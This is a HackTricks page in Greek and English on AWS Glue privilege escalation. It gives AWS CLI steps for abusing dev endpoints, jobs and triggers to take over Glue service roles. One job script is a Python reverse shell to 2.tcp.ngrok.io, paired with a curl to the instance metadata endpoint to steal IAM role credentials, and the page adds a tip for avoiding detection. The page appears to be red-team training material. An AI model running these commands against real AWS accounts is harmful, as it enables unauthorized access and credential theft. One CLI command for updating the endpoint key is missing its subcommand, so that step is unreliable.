AWS - Glue Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Χρήστες με αυτά τα δικαιώματα μπορούν να set up a new AWS Glue development endpoint, assigning an existing service role assumable by Glue με συγκεκριμένα δικαιώματα για αυτό το endpoint.

Μετά τη ρύθμιση, ο attacker can SSH into the endpoint’s instance, και να κλέψει τα IAM credentials του assigned role:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Για λόγους απόκρυψης, συνιστάται να χρησιμοποιήσετε τα IAM credentials από το εσωτερικό της Glue εικονικής μηχανής.

Πιθανός Αντίκτυπος: Privesc στον καθορισμένο glue service role.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Οι χρήστες με αυτή την άδεια μπορούν να τροποποιήσουν το SSH key ενός υπάρχοντος Glue development endpoint, επιτρέποντας SSH πρόσβαση σε αυτό. Αυτό επιτρέπει στον attacker να εκτελεί εντολές με τα προνόμια του role που είναι συνδεδεμένο με το endpoint:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Πιθανός Αντίκτυπος: Privesc στο glue service role που χρησιμοποιείται.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Οι χρήστες με iam:PassRole σε συνδυασμό είτε με glue:CreateJob ή glue:UpdateJob, και είτε με glue:StartJobRun ή glue:CreateTrigger, μπορούν να δημιουργήσουν ή να ενημερώσουν ένα AWS Glue job, να επισυνάψουν οποιοδήποτε Glue service account και να ξεκινήσουν την εκτέλεση του job. Οι δυνατότητες του job περιλαμβάνουν την εκτέλεση αυθαίρετου κώδικα Python, ο οποίος μπορεί να εκμεταλλευτεί για την εγκαθίδρυση ενός reverse shell. Αυτό το reverse shell μπορεί στη συνέχεια να χρησιμοποιηθεί για να exfiltrate τα IAM credentials του role που έχει επισυναφθεί στο Glue job, οδηγώντας σε πιθανή μη εξουσιοδοτημένη πρόσβαση ή ενέργειες με βάση τα δικαιώματα αυτού του role:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potential Impact: Privesc στον καθορισμένο ρόλο υπηρεσίας glue.

glue:UpdateJob

Μόνο με την άδεια ενημέρωσης, ένας επιτιθέμενος θα μπορούσε να κλέψει τα IAM Credentials του ήδη συνδεδεμένου ρόλου.

Potential Impact: Privesc στον συνδεδεμένο ρόλο υπηρεσίας glue.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks